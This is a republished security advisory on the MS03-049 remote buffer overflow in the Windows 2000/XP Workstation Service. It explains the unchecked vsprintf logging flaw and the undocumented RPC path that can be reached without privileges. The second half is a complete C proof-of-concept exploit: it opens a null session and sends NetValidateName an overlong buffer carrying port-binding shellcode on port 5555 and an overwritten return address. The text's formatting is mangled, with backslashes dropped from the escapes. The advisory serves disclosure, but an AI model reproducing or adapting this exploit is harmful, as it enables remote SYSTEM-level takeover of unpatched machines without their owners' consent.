‘Windows Workstation Service Remote Buffer Overflow (Exploit)’

Summary

‘The Windows Workstation Creates and maintains client network connections to remote servers, including the Internet, File and Printer Sharing and more.

eEye Digital Security discovered a remote buffer overflow in the Windows Workstation Service (WKSSVC.DLL). An unauthenticated attacker could exploit this vulnerability to execute arbitrary code with system-level privileges on Windows 2000 and Windows XP machines.’

Credit:

‘The information has been provided by Derek Soeder and Hanabishi Recca.’


Details

Vulnerable Systems:
 * Microsoft Windows 2000 Service Pack 2, Service Pack 3, Service Pack 4
 * Microsoft Windows XP, Microsoft Windows XP Service Pack 1
 * Microsoft Windows XP 64-Bit Edition

The susceptible Workstation functionality is accessible via the WKSSVC named pipe (TCP ports 139 and 445).

The buffer overflow vulnerability originates in network management functions provided by the DCE/RPC service. These functions provide the ability to manage user accounts and network resources locally and remotely. Some network management functions generate a debug log file in the ‘debug’ subdirectory located in the Windows directory.

A logging function implemented in WKSSVC.DLL is called to write entries to the log file. In this function, the vsprintf() routine is used to create a log entry. The string arguments for this logging function are supplied as parameters to vsprintf() without any bounds checking, so if we can pass a long string argument to the logging function, then a buffer overflow will occur.

eEye found some RPC functions which will accept a long string as a parameter, and will attempt to write it to the debug log file. If a long string is specified as a parameter to these RPC functions, a stack-based buffer overflow will happen in the Workstation service on the remote system. Attackers who successfully leverage this vulnerability will be executing code under the SYSTEM context of the remote host.

The buffer overflow bug is in a logging function which generates a string for the log file using vsprintf(). The name of the log file is ‘NetSetup.LOG’, and it is located in the Windows ‘debug’ directory.

This logging routine is called from some functions which handle commands for the Workstation service, such as ‘NetValidateName’, ‘NetJoinDomain’, etc. In the case of NetValidateName(), the ‘computer name’ specified as the second argument is eventually recorded in the log file.

For example, if we use NetValidateName() API as follows:
NetValidateName(L’\\192.168.0.100′,’AAAAAAAA’,NULL,NULL,0);

Then we can confirm the following log entry on the remote host ‘192.168.0.100’:
08/13 13:01:01 NetpValidateName: checking to see if ” is valid as type 0 name
08/13 13:01:01 NetpValidateName: ” is not a valid NetBIOS \AAAAAAAA name: 0x57

If we specify a long string as the second argument to the NetValidateName() API, a buffer overflow occurs on the specified host if the debug file is writable.

Generally, the ‘debug’ subdirectory in the Windows directory is not writable by everyone if the drive is formatted as NTFS, which means that we cannot append to the log using a null session. The WsImpersonateClient() API is called before opening the log file, and if the connected client does not have the privilege to write to the log file, then CreateFile() will fail, and the vulnerable call to vsprintf() is not performed. So, in this case, we can exploit FAT32 systems (which do not support ACLs on directories), or systems where the ‘%SYSTEMROOT%debug’ directory is writable by everyone.
However, some extended RPC functions implemented in Windows XP open the logfile before calling WsImpersonateClient(). They are undocumented RPC functions, but can be observed in the function table in WKSSVC.DLL. The RPC numbers for these extended commands start at 0x1B; for example, function 0x1B invokes the NetpManageComputers() API internally, which does not call WsImpersonateClient() before opening the log file.

The usage of NetpManageComputers() is not published; however, the prototype definition of the NetAddAlternateComputerName() API is found in ‘LMJoin.h’, which calls NetpManageComputers() internally. This API is exported from NETAPI32.DLL. This API is also undocumented. We can generate the packet to execute this RPC function (number 0x1B) using the API as follows:
NetAddAlternateComputerName(L’\\192.168.0.200′,long_unicode_string,NULL,NULL,0);
There are no special privileges needed to write the second argument into the log file on the remote host. If we specify a long Unicode string as the second argument (‘AlternateName’), the remote system specified in the first argument will crash due to a buffer overflow. The Unicode string ‘long_unicode_string’ will be translated into an ASCII string before the logging function is called.

Vendor Status:
Microsoft released a patch for these vulnerabilities. The patch is available at:
http://www.microsoft.com/technet/security/bulletin/MS03-049.asp

Exploit:
/*
  Proof of concept for MS03-049.
  This code was tested on a Win2K SP4 with FAT32 file system, and is supposed
  to work *only* with that (it will probably crash the the other 2Ks, no clue
  about XPs).

  To be compiled with lcc-win32 (*hint* link mpr.lib) … I will not improve
  this public version, do not bother to ask.
  
  Credits go to eEye 🙂
  See original bulletin for more information, it is very well documented. */

#include <stdio.h>
#include <win.h>
#include <string.h>

typedef int (*MYPROC)(LPCWSTR, LPCWSTR, LPCWSTR, LPCWSTR, ULONG);

#define SIZE 2048

// PEX generated port binding shellcode (5555)
unsigned char shellcode[] =
‘x66x81xecx04x07’ // sub sp, 704h ‘x90x90x90x90x90x90x90x90x90x90x90x90xebx19x5ex31’
‘xc9x81xe9xa6xffxffxffx81x36x76xacx7cx25x81xeexfc’
‘xffxffxffxe2xf2xebx05xe8xe2xffxffxffx9ex94x7cx25’
‘x76xefx31x61x76x4bx05xe3x0fx49x35xa3x3fx08xd1x0b’
‘x9fx08x66x55xb1x75x75xd0xdbx67x91xd9x4dx22x32x2b’
‘x9axd2xa4xc7x05x01xa5x20xb8xdex82x96x60xfbx2fx17’
‘x29x9fx4ex0bx32xe0x30x25x77xf7x28xacx93x25x21x25’
‘x1cx9cx25x41xfdxadxf7x65x7ax27x0cx39xdbx27x24x2d’
‘x9dxa0xf1x72x5axfdx2exdaxa6x25xbfx7cx9dxbcx16x2d’
‘x28xadx92x4fx7cxf5xf7x58x76x2cx85x23x02x48x2dx76’
‘x89x98xf3xcdxe6xacx7cx25x2fx25x78xabx94x47x4dxda’
‘x10x2dx90xb5x77xf8x14x24x77xacx7cxdax23x8cx2bx72’
‘x21xfbx3bx72x31xfbx83x70x6ax25xbfx14x89xfbx2bx4d’
‘x74xacx69x96xffx4ax16x35x20xffx83x70x6exfbx2fxda’
‘x23xb8x2bx73x25x53x29x35xffx6ex1axa4x9axf8x7cxa8’
‘x4ax88x4dxe5x1cxb9x25xd6xddx25xabxe3x32x88x6cx61’
‘x88xe8x58x18xffxd0x58x6dxffxd0x58x69xffxd0x58x75’
‘xfbxe8x58x35x22xfcx2dx74x27xedx2dx6cx27xfdx83x50’
‘x76xfdx83x70x46x25x9dx4dx89x53x83xdax89x9dx83x70’
‘x5axfbx83x70x7ax53x29x0dx25xf9x2ax72xfdxc0x58x3d’
‘xfdxe9x40xaex22xa9x04x24x9cx27x36x3dxfdxf6x5cx24’
‘x9dx4fx4ex6cxfdx98xf7x24x98x9dx83xd9x47x6cxd0x1d’
‘x96xd8x7bxe4xb9xa1x7dxe2x9dx5ex47x59x52xb8x09xc4’
‘xfdxf6x58x24x9dxcaxf7x29x3dx27x26x39x77x47xf7x21’
‘xfdxadx94xcex74x9dxbcxacx9cxf3x22x78x2dx6ex74x25’;

unsigned char jmp[] =
‘xe9x6fxfdxffxff’; // jmp -290h to land in the payload

int main(void)
{
  int ret;
  HINSTANCE hInstance;
  MYPROC procAddress;
  char szBuffer[SIZE];
  NETRESOURCE netResource;

  netResource.lpLocalName = NULL;
  netResource.lpProvider = NULL;
  netResource.dwType = RESOURCETYPE_ANY;
  netResource.lpRemoteName = ‘\\192.168.175.3\ipc$’;

  ret = WNetAddConnection2(&netResource, ”, ”, 0); // attempt a null session
  if (ret != 0)
  {
    fprintf(stderr, ‘[-] WNetAddConnection2 failedn’);
    return 1;
  }

  hInstance = LoadLibrary(‘netapi32’);
  if (hInstance == NULL)
  {
    fprintf(stderr, ‘[-] LoadLibrary failedn’);
    return 1;
  }

  procAddress = (MYPROC)GetProcAddress(hInstance, ‘NetValidateName’); // up to you to check NetAddAlternateComputerName
  if (procAddress == NULL)
  {
    fprintf(stderr, ‘[-] GetProcAddress failedn’);
    return 1;
  }

  memset(szBuffer, 0x90, sizeof(szBuffer));
  memcpy(&szBuffer[1400], shellcode, sizeof(shellcode) – 1);
  // ebp @ &szBuffer[2013]
  *(unsigned int *)(&szBuffer[2017]) = 0x74fdee63; // eip (jmp esp @ msafd.dll, use opcode search engine for more, but
                                                   // be aware that a call esp will change the offset in the stack)
  memcpy(&szBuffer[2021 + 12], jmp, sizeof(jmp)); // includes terminal NULL char
  ret = (procAddress)(L’\\192.168.175.3′, szBuffer, NULL, NULL, 0);

  WNetCancelConnection2(‘\\192.168.175.3\ipc$’, 0, TRUE);
  FreeLibrary(hInstance);

  return 0;
}’

Categories: Windows